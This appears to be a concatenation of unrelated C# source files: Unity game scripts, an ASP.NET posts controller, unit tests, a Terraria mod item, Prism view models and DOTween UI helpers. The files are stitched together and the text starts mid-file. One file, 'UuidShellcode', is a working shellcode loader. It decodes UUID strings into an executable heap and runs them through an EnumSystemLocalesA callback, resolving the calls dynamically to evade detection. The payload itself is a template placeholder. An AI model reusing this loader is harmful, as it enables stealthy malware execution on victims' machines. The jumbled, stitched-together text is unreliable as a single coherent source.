creditsMenu.SetActive(false);
}
public void ExitAndCloseGame()
{
// UnityEditor.EditorApplication.isPlaying = false;
Application.Quit();
}
public void PauseCurrentGame()
{
Time.timeScale = 0;
pausePanel.SetActive(true);
// Disable scripts that still work while timescale is set to 0
patientTracker.GetComponent<PatientTracker>().enabled = false;
player.GetComponent<PlayerMovement>().enabled = false;
sanitationTimer.GetComponent<SanitationTimer>().enabled = false;
weaponSwitching.GetComponent<WeaponSwitching>().enabled = false;
}
public void ContinueCurrentGame()
{
Time.timeScale = 1;
pausePanel.SetActive(false);
// Enable the scripts again
patientTracker.GetComponent<PatientTracker>().enabled = true;
player.GetComponent<PlayerMovement>().enabled = true;
sanitationTimer.GetComponent<SanitationTimer>().enabled = true;
weaponSwitching.GetComponent<WeaponSwitching>().enabled = true;
}
}
|
using System.Collections;
using System.Collections.Generic;
using UnityEngine;
public class PlayerBulletScript : MonoBehaviour
{
[SerializeField] private float speed;
[SerializeField] private float maxSpeed;
private protected AudioSource audioSource;
private protected Rigidbody2D rigidbody;
private void Awake()
{
audioSource = GetComponent<AudioSource>();
rigidbody = GetComponent<Rigidbody2D>();
}
private void Update()
{
rigidbody.AddForce(transform.up * speed);
if (rigidbody.velocity.magnitude > maxSpeed)
rigidbody.velocity = Vector2.ClampMagnitude(rigidbody.velocity, maxSpeed);
}
private void OnTriggerEnter2D(Collider2D collision)
{
if (collision.gameObject.tag == "SideBorder")
Destroy(gameObject);
}
}
|
using System;
using System.Collections.Generic;
using System.Linq;
using System.Threading.Tasks;
using GossipBoard.Dto;
using GossipBoard.Models;
using GossipBoard.Services;
using Microsoft.AspNetCore.Authorization;
using Microsoft.AspNetCore.Identity;
using Microsoft.AspNetCore.Mvc;
namespace GossipBoard.Controllers
{
//[Authorize]
[Route("api/posts")]
public class PostsController : Controller
{
private readonly IPostService _service;
private readonly UserManager<ApplicationUser> _userManager;
public PostsController(IPostService service, UserManager<ApplicationUser> userManager)
{
_service = service;
_userManager = userManager;
}
[HttpGet]
[Produces(typeof(PostDto[]))]
public async Task<IActionResult> Get([FromQuery]int offset = 0, [FromQuery]int limit = 50)
{
var posts = await _service.GetAllPosts(offset, limit);
return Ok(posts);
}
[HttpGet("{id}")]
[Produces(typeof(Post))]
public async Task<IActionResult> Get([FromRoute]int id)
{
var result = await _service.GetPostById(id);
if (result == null)
{
return NotFound("Can't Find Post by this Id");
}
return Ok(result);
}
[HttpPut("{id}")]
//[Produces(typeof(Post))]
//public async Task<IActionResult> Post([FromBody]Post value)
public async Task<IActionResult> Put([FromBody]Post value, [FromRoute]int id)
{
if (!ModelState.IsValid) return BadRequest(ModelState);
var user = await _userManager.GetUserAsync(User);
value.Id = id;
value.ApplicationUser = user;
var updatedId = await _service.Update(value);
if (updatedId == -1) return NotFound();
return Ok(id);
}
[HttpPost]
[Produces(typeof(Post))]
//public async Task<IActionResult> Post([FromBody]Post value)
public async Task<IActionResult> Post([FromBody]Post value)
{
if (!ModelState.IsValid) return BadRequest(ModelState);
var user = await _userManager.GetUserAsync(User);
value.ApplicationUser = user;
var id = await _service.Create(value);
//return Ok(id);
return CreatedAtAction("Post", new { id = id }, value);
}
[HttpGet("upvote/{id}")]
[Produces(typeof(int))]
public async Task<IActionResult> UpVotePost([FromRoute]int id)
{
var user = await _userManager.GetUserAsync(User);
var postLikeCount = await _service.UpVotePost(user , id);
return Ok(postLikeCount);
}
//[HttpDelete("{id}")]
//[Produces(typeof(Post))]
//public async Task<IActionResult> Delete([FromRoute]int id)
//{
// var user = await _userManager.GetUserAsync(User);
// if (id == 0) return NotFound("Can't Find Post by this Id");
// IActionResult result = await _service.DeleteById(user,id);
// return result;
//}
[HttpDelete("{id}")]
[Produces(typeof(Post))]
public async Task<IActionResult> DeleteWithoutUser([FromRoute]int id)
{
try
{
await _service.DeleteByIdWithoutUser(id);
}
catch (InvalidOperationException e)
{
return BadRequest("No post found with id " + id);
}
return new OkResult();
}
[HttpGet("search")]
[Produces(typeof(Post[]))]
public async Task<ActionResult> Search([FromQuery] string search = "", [FromQuery]int offset = 0, [FromQuery]int limit = 10)
{
if (search == null || search.Equals("")) {
//GetAll controller implementation
Console.ForegroundColor = ConsoleColor.Cyan;
Console.WriteLine("Empty search, just getting posts!");
Console.ResetColor();
var p = await _service.GetAllPosts(offset, limit);
return Ok(p);
}
var posts = _service.SearchPosts(search, offset, limit);
return Ok(posts);
}
}
} |
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
namespace AI1
{
//стан
public class State
{
//массив стану з порядком лунок
public int[] array;
//список дочірніх станів стану
List<State> childs;
//статус стану
bool isVisited;
//геттер та сеттер для списку дочірніх станів
public List<State> Childs
{
get { return childs; }
set { childs = value; }
}
//гетткр та сеттер для массиву з порядком лунок
public int[] Array
{
get { return array; }
set { this.array = value; }
}
//геттер та сеттер для статусу стану
public bool IsVisited
{
get { return isVisited; }
set { isVisited = value; }
}
//геттер для к-ті дочірніх станів
public int ChildCount
{
get { return childs.Count; }
}
//конструктор ініціалізації стану за массивом порядку лунок
public State(int[] array)
{
this.array = array;
isVisited = false;
childs = new List<State>();
}
//конструктор ініціалізації за массивом порядку станів та списком дочірніх станів
public State(int[] array, List<State> childs)
{
this.array = array;
isVisited = false;
this.childs = childs;
}
//зміна статусу вершини на відвіданий
public void Visit()
{
isVisited = true;
}
//додавання до списку дочірніх нового дочірнього стану
public void AddEdges(List<State> newChilds)
{
childs.AddRange(newChilds);
}
//перевантаження методу для виводу графа
public override string ToString()
{
StringBuilder allChilds = new StringBuilder("");
for (int i = 0; i < this.Array.Length; i++)
{
allChilds.Append(this.Array[i] + " ");
}
allChilds.Append(": ");
foreach (State child in childs)
{
for (int i = 0; i < child.Array.Length; i++)
{
allChilds.Append(child.Array[i] + " ");
}
allChilds.Append("\n");
}
return allChilds.ToString();
}
//підрахунок к-ті станів у які необхідно перейти, щоб прийти до розв'язку
public int CountStatesToResult(int count)
{
StringBuilder allChilds = new StringBuilder("");
for (int i = 0; i < this.Array.Length; i++)
{
allChilds.Append(this.Array[i] + " ");
}
allChilds.Append(": ");
foreach (State child in childs)
{
for (int i = 0; i < child.Array.Length; i++)
{
allChilds.Append(child.Array[i] + " ");
}
if (!allChilds.Equals("0 0 0 -1 1 1 1 1 "))
count += 1;
allChilds.Append("\n");
}
return count;
}
}
}
|
using Hahn.ApplicatonProcess.December2020.Domain.Application.Dto.Request;
using Hahn.ApplicatonProcess.December2020.Domain.Application.Dto.Response;
using System;
using System.Collections.Generic;
using System.Text;
namespace Hahn.ApplicatonProcess.December2020.Domain.Application.Applicant.Interfaces
{
public interface IRequestHandler
{
int RegisterApplicant(Request<Dto.Model.Applicant> productRequest);
Response<Dto.Model.Applicant> GetApplicantByID(int applicantID);
int UpdateApplicant(int id, Dto.Model.Applicant applicant);
int DeleteApplicant(int applicantID);
Response<List<Dto.Model.Applicant>> GetApplicants();
}
}
|
namespace ApartmentApps.Api.Modules
{
public class PaymentBindingModel
{
}
} |
using Microsoft.VisualStudio.TestTools.UnitTesting;
using ModelTransformationComponent;
using ModelTransformationComponent.SystemRules;
namespace TransformationComponentUnitTest
{
public partial class TransformUnitTest
{
public partial class TransformToRules
{
public partial class OnlyBase
{
[TestClass]
public class Type
{
[TestMethod]
[TestCategory("TransformToRules")]
public void ToRulesEmptyType()
{
//arrange
var name = "a";
var rules = "Some strange comment-like text\n" +
"with some new lines and //////star\n" +
"but eventually /start\n" +
"/type " + name + "\n" +
"/end\n" +
"Some more comments";
var component = new TransformationComponent();
//act
var actual = component.TransformToRules(rules);
//assert
Assert.AreEqual(actual.Languages.Count, 0);
var resultRules = actual.GetBaseRules;
Assert.AreEqual(1, resultRules.Count);
Assert.IsTrue(resultRules.ContainsKey(name));
var resultTypeRule = resultRules[name] as TypeRule;
TestUtil.AssertBNF(resultTypeRule, name);
}
[TestMethod]
[TestCategory("TransformToRules")]
public void ToRulesTypeStr()
{
//arrange
var name = "a";
var bnf = "a/child";
var rules = "Some strange comment-like text\n" +
"with some new lines and //////star\n" +
"but eventually /start\n" +
"/type " + name + " ::= " + bnf + "\n" +
"/end\n" +
"Some more comments";
var component = new TransformationComponent();
//act
var actual = component.TransformToRules(rules);
//assert
Assert.AreEqual(actual.Languages.Count, 0);
var resultRules = actual.GetBaseRules;
Assert.AreEqual(1, resultRules.Count);
Assert.IsTrue(resultRules.ContainsKey(name));
var resultTypeRule = resultRules[name] as TypeRule;
var basicBNFRule = new BasicBNFRule
{
new BNFString( "a" ),
new BNFSystemRef(new Child())
};
TestUtil.AssertBNF(resultTypeRule, name,basicBNFRule);
}
[TestMethod]
[TestCategory("TransformToRules")]
public void ToRulesTypeRef()
{
//arrange
var name = "a";
var bnf = "<b>/child";
var rules = "Some strange comment-like text\n" +
"with some new lines and //////star\n" +
"but eventually /start\n" +
"/type " + name + " ::= " + bnf + "\n" +
"/end\n" +
"Some more comments";
var component = new TransformationComponent();
//act
var actual = component.TransformToRules(rules);
//assert
Assert.AreEqual(actual.Languages.Count, 0);
var resultRules = actual.GetBaseRules;
Assert.AreEqual(1, resultRules.Count);
Assert.IsTrue(resultRules.ContainsKey(name));
var resultTypeRule = resultRules[name] as TypeRule;
var basicBNFRule = new BasicBNFRule
{
new BNFReference("b"),
new BNFSystemRef(new Child() )
};
TestUtil.AssertBNF(resultTypeRule, name,basicBNFRule);
}
[TestMethod]
[TestCategory("TransformToRules")]
public void ToRulesTypeStrAndREf()
{
//arrange
var name = "a";
var bnf = "<b>a/child";
var rules = "Some strange comment-like text\n" +
"with some new lines and //////star\n" +
"but eventually /start\n" +
"/type " + name + " ::= " + bnf + "\n" +
"/end\n" +
"Some more comments";
var component = new TransformationComponent();
//act
var actual = component.TransformToRules(rules);
//assert
Assert.AreEqual(actual.Languages.Count, 0);
var resultRules = actual.GetBaseRules;
Assert.AreEqual(1, resultRules.Count);
Assert.IsTrue(resultRules.ContainsKey(name));
var resultTypeRule = resultRules[name] as TypeRule;
var basicBNFRule = new BasicBNFRule
{
new BNFReference("b" ),
new BNFString("a" ),
new BNFSystemRef(new Child())
};
TestUtil.AssertBNF(resultTypeRule, name, basicBNFRule );
}
}
}
}
}
}
|
//-----------------------------------------------------------------------
// <copyright file="Player.cs" company="4Deep Technologies LLC">
// Copyright (c) 4Deep Technologies LLC. All rights reserved.
// <author>Darren Ford</author>
// <date>Thursday, April 30, 2015 3:00:44 PM</date>
// </copyright>
//-----------------------------------------------------------------------
using Dizzle.Cqrs.Core;
using System.Collections.Generic;
using TestDomain.Cqrs.Commands;
using TestDomain.Cqrs.Events;
namespace TestDomain.Cqrs.Model
{
public partial class Player : Aggregate,
IHandleCommand<CreatePlayer>,
IHandleCommand<UpdatePlayer>,
IApplyEvent<PlayerCreated>,
IApplyEvent<PlayerUpdated>
{
public IEnumerable<IEvent> Handle(CreatePlayer c)
{
yield return new PlayerCreated(c.Id,c.FirstName,c.LastName, c.BirthDate,c.Street);
}
public IEnumerable<IEvent> Handle(UpdatePlayer c)
{
yield return new PlayerUpdated(c.Id, c.FirstName, c.LastName, c.BirthDate, c.Street);
}
public void Apply(PlayerCreated e)
{
Id = e.Id;
FirstName = e.FirstName;
LastName = e.LastName;
}
public void Apply(PlayerUpdated e)
{
Id = e.Id;
FirstName = e.FirstName;
LastName = e.LastName;
}
}
}
|
using FrameOS.Systems.CommandSystem;
using FrameOS.Systems.Logs;
using System;
using System.Collections.Generic;
using System.Text;
namespace FrameOS.Commands
{
class TestCrashCommand : ICommand
{
public string description => "System command to test the Crash Catch System";
public string command => "crash";
public void Run(CommandArg[] commandArgs)
{
LogManager.Log("Testing Crash System Log", LogType.Error);
throw new FatalException("Testing Crash System");
}
}
}
|
// <copyright file="TableOfPOST.cs" company="WaterTrans">
// © 2020 WaterTrans
// </copyright>
namespace WaterTrans.GlyphLoader.Internal
{
/// <summary>
/// Table of POST.
/// </summary>
internal sealed class TableOfPOST
{
/// <summary>
/// Initializes a new instance of the <see cref="TableOfPOST"/> class.
/// </summary>
/// <param name="reader">The <see cref="TypefaceReader"/>.</param>
internal TableOfPOST(TypefaceReader reader)
{
Version = reader.ReadFixed();
ItalicAngle = reader.ReadFixed();
UnderlinePosition = reader.ReadFword();
UnderlineThickness = reader.ReadFword();
IsFixedPitch = reader.ReadUInt32();
MinMemType42 = reader.ReadUInt32();
MaxMemType42 = reader.ReadUInt32();
MinMemType1 = reader.ReadUInt32();
MaxMemType1 = reader.ReadUInt32();
// Not interested in the data after here...
}
/// <summary>Gets the table version.</summary>
public float Version { get; }
/// <summary>Gets the italic angle in counter-clockwise degrees from the vertical. Zero for upright text, negative for text that leans to the right (forward).</summary>
public float ItalicAngle { get; }
/// <summary>Gets suggested distance of the top of the underline from the baseline (negative values indicate below baseline).</summary>
public short UnderlinePosition { get; }
/// <summary>Gets suggested values for the underline thickness. In general, the underline thickness should match the thickness of the underscore character (U+005F LOW LINE), and should also match the strikeout thickness, which is specified in the OS/2 table.</summary>
public short UnderlineThickness { get; }
/// <summary>Gets the fixed pitch. Set to 0 if the font is proportionally spaced, non-zero if the font is not proportionally spaced (i.e. monospaced).</summary>
public uint IsFixedPitch { get; }
/// <summary>Gets the minimum memory usage when an OpenType font is downloaded.</summary>
public uint MinMemType42 { get; }
/// <summary>Gets the maximum memory usage when an OpenType font is downloaded.</summary>
public uint MaxMemType42 { get; }
/// <summary>Gets the minimum memory usage when an OpenType font is downloaded as a Type 1 font.</summary>
public uint MinMemType1 { get; }
/// <summary>Gets the maximum memory usage when an OpenType font is downloaded as a Type 1 font.</summary>
public uint MaxMemType1 { get; }
}
}
|
using System;
using System.Collections.Generic;
using Microsoft.Xna.Framework;
using Terraria;
using Terraria.DataStructures;
using Terraria.ID;
using Terraria.ModLoader;
using Caserraria.Items;
namespace Caserraria.Items.Weapons
{
public class Infernohand : ModItem
{
public override void SetStaticDefaults()
{
DisplayName.SetDefault("Hand of Eruptions");
Tooltip.SetDefault("Shoots chains of fireballs from your fingertips");
}
public override void SetDefaults()
{
item.damage = 165;
item.magic = true;
item.noUseGraphic = true;
item.mana = 17;
item.width = 40;
item.height = 20;
item.useTime = 8;
item.useAnimation = 53;
item.useStyle = 5;
item.noMelee = true;
item.knockBack = 7;
item.value = 35000000;
item.rare = 4;
item.UseSound = SoundID.Item20;
item.autoReuse = true;
item.shoot = 15;
item.shootSpeed = 30f;
item.expert = true;
}
public override void AddRecipes()
{
ModRecipe recipe = new ModRecipe(mod);
recipe.AddIngredient(ItemID.LunarBar, 30);
if(Caserraria.instance.thoriumLoaded)
{
recipe.AddIngredient(ModLoader.GetMod("ThoriumMod").ItemType("TerrariumCore"), 10);
}
if(Caserraria.instance.calamityLoaded)
{
recipe.AddIngredient(ModLoader.GetMod("CalamityMod").ItemType("MeldiateBar"), 10);
}
if(Caserraria.instance.cosmeticvarietyLoaded)
{
recipe.AddIngredient(ModLoader.GetMod("CosmeticVariety").ItemType("Mantilum"), 30);
}
recipe.AddIngredient(null, "Unknownparts", 1);
recipe.AddTile(TileID.LunarCraftingStation);
recipe.SetResult(this);
recipe.AddRecipe();
}
}
}
|
using HabMap.ProjectConfigurations.Models;
using Prism.Commands;
using Prism.Mvvm;
using Prism.Regions;
using Prism.Interactivity.InteractionRequest;
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
using System.Windows;
using Prism.Events;
using HabMap.ProjectConfigurations.Events;
namespace HabMap.ProjectConfigurations.ViewModels
{
public class NodeServerCIButtonViewModel : BindableBase, INavigationAware
{
/// <summary>
/// Client interface model instance
/// </summary>
private IClientInterfaceModel _ci;
private IRegionManager _regionManager;
private IEventAggregator _eventAggregator;
private IProjectConfigurationModel _projectConfig;
/// <summary>
/// Index of view model in the view
/// </summary>
private int _index;
private INodeServerModel _targetNS;
private int _targetNSIndex;
public NodeServerCIButtonViewModel(IProjectConfigurationModel projectConfig, IRegionManager regionManager, IEventAggregator eventAggregator)
{
_projectConfig = projectConfig;
_regionManager = regionManager;
_eventAggregator = eventAggregator;
SelectCIRequest = new InteractionRequest<ISelectCINotification>();
MouseLeftButtonDown = new DelegateCommand(() =>
{
SelectCIRequest.Raise(new SelectCINotification { Title = "Client Interface Selection" }, r =>
{
if(r.Confirmed)
{
_projectConfig.NodeServerList[_targetNSIndex].CI[Index] = r.SelectedCI;
_eventAggregator.GetEvent<UpdateCIButtonView>().Publish(_targetNS);
}
});
});
}
public IClientInterfaceModel CI
{
get { return _ci; }
set { SetProperty(ref _ci, value); }
}
public int Index
{
get { return _index; }
set { SetProperty(ref _index, value); }
}
/// <summary>
/// Command when a left click was detected on the control
/// </summary>
public DelegateCommand MouseLeftButtonDown { get; private set; }
/// <summary>
/// Select CI Interaction Request
/// </summary>
public InteractionRequest<ISelectCINotification> SelectCIRequest { get; set; }
#region INavigationAware Methods
public bool IsNavigationTarget(NavigationContext navigationContext)
{
return false;
}
public void OnNavigatedFrom(NavigationContext navigationContext)
{
}
public void OnNavigatedTo(NavigationContext navigationContext)
{
var ns = navigationContext.Parameters["NSData"] as INodeServerModel;
Index = (int)navigationContext.Parameters["CIIndex"];
if (ns != null)
{
_targetNS = _projectConfig.NodeServerList.First(x => x.GUID == ns.GUID);
_targetNSIndex = _projectConfig.NodeServerList.IndexOf(_targetNS);
CI = _targetNS.CI[Index];
}
}
#endregion
}
}
|
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
using System.Runtime.InteropServices;
using DInvoke;
namespace UuidShellcode
{
class Program
{
[DllImport("kernel32.dll", SetLastError = true)]
static extern IntPtr HeapCreate(uint flOptions, UIntPtr dwInitialSize, UIntPtr dwMaximumSize);
[DllImport("kernel32.dll", SetLastError = false)] static extern IntPtr HeapAlloc(IntPtr hHeap, uint dwFlags, uint dwBytes);
static void Main(string[] args)
{
var HeapCreateHandle = HeapCreate((uint)0x00040000, UIntPtr.Zero, UIntPtr.Zero);
var heapAddr = HeapAlloc(HeapCreateHandle, (uint)0, (uint)0x100000);
string[] uuids ={
~UUIDSHELLCODE~
};
IntPtr pkernel32 = DInvoke.DynamicInvoke.Generic.GetPebLdrModuleEntry("kernel32.dll");
IntPtr prpcrt4 = DInvoke.DynamicInvoke.Generic.GetPebLdrModuleEntry("rpcrt4.dll");
IntPtr pEnumSystemLocalesA = DInvoke.DynamicInvoke.Generic.GetExportAddress(pkernel32, "EnumSystemLocalesA");
IntPtr pUuidFromStringA = DInvoke.DynamicInvoke.Generic.GetExportAddress(prpcrt4, "UuidFromStringA");
IntPtr newHeapAddr = IntPtr.Zero;
for (int i = 0; i < uuids.Length; i++)
{
newHeapAddr = IntPtr.Add(HeapCreateHandle, 16 * i);
object[] uuidFromStringAParam = { uuids[i], newHeapAddr };
var status = (IntPtr)DInvoke.DynamicInvoke.Generic.DynamicFunctionInvoke(pUuidFromStringA, typeof(DELEGATE.UuidFromStringA), ref uuidFromStringAParam);
}
object[] enumSystemLocalesAParam = { HeapCreateHandle, 0 };
var result = DInvoke.DynamicInvoke.Generic.DynamicFunctionInvoke(pEnumSystemLocalesA, typeof(DELEGATE.EnumSystemLocalesA), ref enumSystemLocalesAParam);
}
}
public class DELEGATE
{
[UnmanagedFunctionPointer(CallingConvention.StdCall)]
public delegate IntPtr UuidFromStringA(string StringUuid, IntPtr heapPointer);
[UnmanagedFunctionPointer(CallingConvention.StdCall)]
public delegate bool EnumSystemLocalesA(IntPtr lpLocaleEnumProc, int dwFlags);
}
}
|
using Belatrix.JobLogger.Enums;
namespace Belatrix.JobLogger.LoggerTypes
{
public interface IJobLogger
{
void LogMessage(string message, SeverityLevel severityLevel);
}
}
|
using AxiEndPoint.EndPointClient.Transfer;
namespace AxiEndPoint.EndPointServer.MessageHandlers
{
public interface IMessageHandler
{
byte[] Handle(MessageEventArgs args);
bool SatisfyBy(Message message);
}
} |
namespace TemplateTest
{
using System;
using System.ComponentModel;
using System.IO;
using Template;
using Xunit;
using Xunit.Extensions;
public class TemplateTest
{
[Fact]
public void PlainText_AlwaysRenderPlainText()
{
// arrange
const string TemplateCode = "abcd";
using (var template = new Template(null, TemplateCode, null))
using (var output = new StringWriter())
{
// act
template.Render(output);
// assert
Assert.Equal(TemplateCode, output.ToString());
}
}
[Fact]
public void EmptyTemplateOnNullLanguage_RenderNothing()
{
// arrange
using (var template = new Template(null, String.Empty, null))
using (var output = new StringWriter())
{
// act
template.Render(output);
// assert
Assert.Empty(output.ToString());
}
}
[Fact]
public void TemplateWithCodeBlock_InterpretedAsCode()
{
// arrange
const string ProgramStructure = "begin {0} end";
const string MethodStructure = "method{{ {0} }}";
var echoLanguage = new MockLanguageBuilder()
.WithProgramWrapper(ProgramStructure)
.WithMethodWrapper(MethodStructure)
.OutputSelfCode()
.GetObject();
const string Code = "code";
var templateText = string.Format("[%{0}%]", Code);
// act
using (var template = new Template(echoLanguage, templateText, null))
using (var output = new StringWriter())
{
template.Render(output);
// assert
var expectedCode = String.Format(ProgramStructure, String.Format(MethodStructure, Code));
Assert.Equal(expectedCode, output.ToString());
}
}
[Fact]
public void LanguageNull_TemplateDependOnLanguage_ThrowException()
{
// arrange
const string TemplateCode = "[%code%]";
// act
var exception = Assert.Throws<ArgumentNullException>(() =>
new Template(null, TemplateCode, null));
// assert
Assert.Equal("language", exception.ParamName);
}
[Theory]
[InlineData("", "", "", "", "")]
[InlineData("text1", "code1", "text2", "code2", "text3")]
[InlineData("text1", "code1", "text2", "code2", "")]
[InlineData("text1", "code1", "", "code2", "text3")]
[InlineData("", "code1", "text2", "code2", "text3")]
public void PlainText_ShouldBeInterpretedAsTextToOutput(
string textBeforeCode, string firstCode, string textBw, string secondCode, string textAfterCode)
{
// arrange
var templateText = String.Format("{0}[%{1}%]{2}[%{3}%]{4}",
textBeforeCode, firstCode, textBw, secondCode, textAfterCode);
const string ProgramStructure = "begin {0} end";
const string OutputStatementStructure = @"output(""{0}"");";
const string MethodStructure = "method{{ {0} }}";
var echoLanguage = new MockLanguageBuilder()
.WithProgramWrapper(ProgramStructure)
.WithMethodWrapper(MethodStructure)
.WithPlainTextWrapper(OutputStatementStructure)
.OutputSelfCode()
.GetObject();
// act
using (var template = new Template(echoLanguage, templateText, null))
using (var output = new StringWriter())
{
template.Render(output);
// assert
var body = (String.IsNullOrEmpty(textBeforeCode) ? "" : String.Format(OutputStatementStructure, textBeforeCode))
+ firstCode
+ (String.IsNullOrEmpty(textBw) ? "" : String.Format(OutputStatementStructure, textBw))
+ secondCode
+ (String.IsNullOrEmpty(textAfterCode) ? "" : String.Format(OutputStatementStructure, textAfterCode));
var method = String.Format(MethodStructure, body);
var code = String.Format(ProgramStructure, method);
Assert.Equal(code, output.ToString());
}
}
[Theory]
[InlineData("", "", "")]
[InlineData("text", "expression", "text2")]
[InlineData("", "expression", "")]
[InlineData("text", "", "text2")]
public void ExpressionToOutput(
string textBeforeCode, string expressionToOutput, string textAfterCode)
{
// arrange
var templateText = String.Format("{0}[%={1}%]{2}",
textBeforeCode, expressionToOutput, textAfterCode);
const string ProgramStructure = "begin {0} end";
const string ExpressionOutputStructure = "output({0});";
const string OutputStatementStructure = @"output(""{0}"");";
const string MethodStructure = "method{{ {0} }}";
var echoLanguage = new MockLanguageBuilder()
.WithProgramWrapper(ProgramStructure)
.WithMethodWrapper(MethodStructure)
.WithPlainTextWrapper(OutputStatementStructure)
.WithExpressionOutputWrapper(ExpressionOutputStructure)
.OutputSelfCode()
.GetObject();
// act
using (var template = new Template(echoLanguage, templateText, null))
using (var output = new StringWriter())
{
template.Render(output);
// assert
var body = (String.IsNullOrEmpty(textBeforeCode) ? "" : String.Format(OutputStatementStructure, textBeforeCode))
+ (String.IsNullOrEmpty(expressionToOutput) ? "" : String.Format(ExpressionOutputStructure, expressionToOutput))
+ (String.IsNullOrEmpty(textAfterCode) ? "" : String.Format(OutputStatementStructure, textAfterCode));
var method = String.Format(MethodStructure, body);
var code = String.Format(ProgramStructure, method);
Assert.Equal(code, output.ToString());
}
}
[Fact]
public void RepeatExpression()
{
const string TextBefore = "before";
const string RepeatCountExpression = "expression";
const string TextToRepeat = "toRepeat";
const string TextAfter = "after";
// arrange
var templateText = String.Format(@"{0}[%@{1}%]{2}[%@%]{3}",
TextBefore, RepeatCountExpression, TextToRepeat, TextAfter);
const string ProgramStructure = "begin {0} end";
const string OpenRepeatStructure = "for(var i = 0; i < {0}; i++){{";
const string CloseRepeatStructure = "}";
const string OutputStatementStructure = @"output(""{0}"");";
const string MethodStructure = "method{{ {0} }}";
var echoLanguage = new MockLanguageBuilder()
.WithProgramWrapper(ProgramStructure)
.WithMethodWrapper(MethodStructure)
.WithPlainTextWrapper(OutputStatementStructure)
.WithRepeatWrapper(OpenRepeatStructure, CloseRepeatStructure)
.OutputSelfCode()
.GetObject();
// act
using (var template = new Template(echoLanguage, templateText, null))
using (var output = new StringWriter())
{
template.Render(output);
// assert
const string Expected = "begin method{ output(\"before\");for(var i = 0; i < expression; i++){output(\"toRepeat\");}output(\"after\"); } end";
Assert.Equal(Expected, output.ToString());
}
}
[Fact]
public void ConditionExpression()
{
const string TextBefore = "before";
const string ConditionExpression = "expression";
const string TextOnTrue = "on true";
const string TextAfter = "after";
// arrange
var templateText = String.Format(@"{0}[%?{1}%]{2}[%?%]{3}",
TextBefore, ConditionExpression, TextOnTrue, TextAfter);
const string ProgramStructure = "begin {0} end";
const string OpenCoditionStructure = "if({0}){{";
const string CloseConditionStructure = "}";
const string OutputStatementStructure = @"output(""{0}"");";
const string MethodStructure = "method{{ {0} }}";
var echoLanguage = new MockLanguageBuilder()
.WithProgramWrapper(ProgramStructure)
.WithMethodWrapper(MethodStructure)
.WithPlainTextWrapper(OutputStatementStructure)
.WithConditionWrapper(OpenCoditionStructure, CloseConditionStructure)
.OutputSelfCode()
.GetObject();
// act
using (var template = new Template(echoLanguage, templateText, null))
using (var output = new StringWriter())
{
template.Render(output);
// assert
const string Expected = "begin method{ output(\"before\");if(expression){output(\"on true\");}output(\"after\"); } end";
Assert.Equal(Expected, output.ToString());
}
}
[Fact]
public void UsingStatements()
{
// arrange
var langugage = new EchoLanguageStub();
var templateText = "text[%code;%]";
var usings = new[] { "System", "My.Program.Using" };
// act
using (var template = new Template(langugage, templateText, usings))
using (var output = new StringWriter())
{
template.Render(output);
// assert
var expected = "begin using System; using My.Program.Using; method(MyOutput output){ output(\"text\");code; } end";
Assert.Equal(expected, output.ToString());
}
}
[Fact]
public void AllUTFChars()
{
var templateText = "";
for (char i = Char.MinValue; i < Char.MaxValue; i++)
{
templateText += i;
}
// act
using (var template = new Template(null, templateText, null))
using (var output = new StringWriter())
{
template.Render(output);
// assert
Assert.Equal(templateText, output.ToString());
}
}
}
}
|
using System;
// using Prime31.ZestKit;
using DG.Tweening;
using UnityEngine;
namespace OpenUi.Transition
{
public static class TransformExtention
{
#region Fade
/// <summary>
/// Fades In a Ui Transform using CanvasGroup component
/// </summary>
/// <param name="transform">self transform to fade in</param>
/// <param name="duration">fading duration time in seconds</param>
/// <param name="easeType">fading easeType</param>
/// <param name="onCompleteCallback">callback on tween completion</param>
/// <param name="blockRaycast">block Raycasts during tween time?</param>
/// <returns>returns Tweener that can be used for other purposes.</returns>
public static Tweener FadeIn(this Transform transform,
float duration,
Ease easeType = Ease.Linear,
Action onCompleteCallback = null,
bool blockRaycast = false)
{
CanvasGroup image = InitCanvasGroup(transform, blockRaycast);
image.alpha = 0;
Tweener tween = image.DOFade(1f, duration);
tween.SetEase(easeType);
tween.OnComplete(() =>
{
if (onCompleteCallback != null)
onCompleteCallback.Invoke();
image.blocksRaycasts = true;
});
return tween;
}
/// <summary>
/// Fades out a Ui Transform using CanvasGroup component
/// </summary>
/// <param name="transform">self transform to fade out</param>
/// <param name="duration">fading duration time in seconds</param>
/// <param name="easeType">fading easeType</param>
/// <param name="onCompleteCallback">callback on tween completion</param>
/// <param name="deactiveOnComplete">Whether deactive object when fade out completed?</param>
/// <param name="blockRaycast">block Raycasts during tween time?</param>
/// <returns>returns Tweener that can be used for other purposes.</returns>
public static Tweener FadeOut(this Transform transform,
float duration,
Ease easeType = Ease.Linear,
Action onCompleteCallback = null,
bool deactiveOnComplete = false,
bool blockRaycast = false)
{
CanvasGroup image = InitCanvasGroup(transform, blockRaycast);
image.alpha = 1;
Tweener tween = image.DOFade(0f, duration);
tween.SetEase(easeType);
tween.OnComplete(() =>
{
if (onCompleteCallback != null)
onCompleteCallback.Invoke();
image.blocksRaycasts = true;
if (deactiveOnComplete)
transform.gameObject.SetActive(false);
});
return tween;
}
#endregion
#region Scale
/// <summary>
/// Scale In a Ui Transform
/// </summary>
/// <param name="transform">self transform</param>
/// <param name="duration">scale tween duration</param>
/// <param name="easeType">tween easeType</param>
/// <param name="onCompleteCallback">scale in completion callback</param>
/// <param name="blockRaycast">block raycasts during tweening</param>
/// <returns>returns Tweener that can be used for other purposes.</returns>
public static Tweener ScaleIn(this Transform transform,
float duration,
Ease easeType = Ease.Linear,
Action onCompleteCallback = null,
bool blockRaycast = false)
{
CanvasGroup image = InitCanvasGroup(transform, blockRaycast);
transform.localScale = new Vector2(0, 0);
Tweener tween = transform.DOScale(new Vector3(1, 1, 1), duration);
FillInTween(easeType, onCompleteCallback, image, tween);
return tween;
}
/// <summary>
/// Scale Out a Ui Transform
/// </summary>
/// <param name="transform">self transform</param>
/// <param name="duration">scale tween duration</param>
/// <param name="easeType">tween easeType</param>
/// <param name="onCompleteCallback">scale out completion callback</param>
/// <param name="blockRaycast">block raycasts during tweening</param>
/// <returns>returns Tweener that can be used for other purposes.</returns>
public static Tweener ScaleOut(this Transform transform,
float duration,
Ease easeType = Ease.Linear,
Action onCompleteCallback = null,
bool deactiveOnComplete = false,
bool blockRaycast = false)
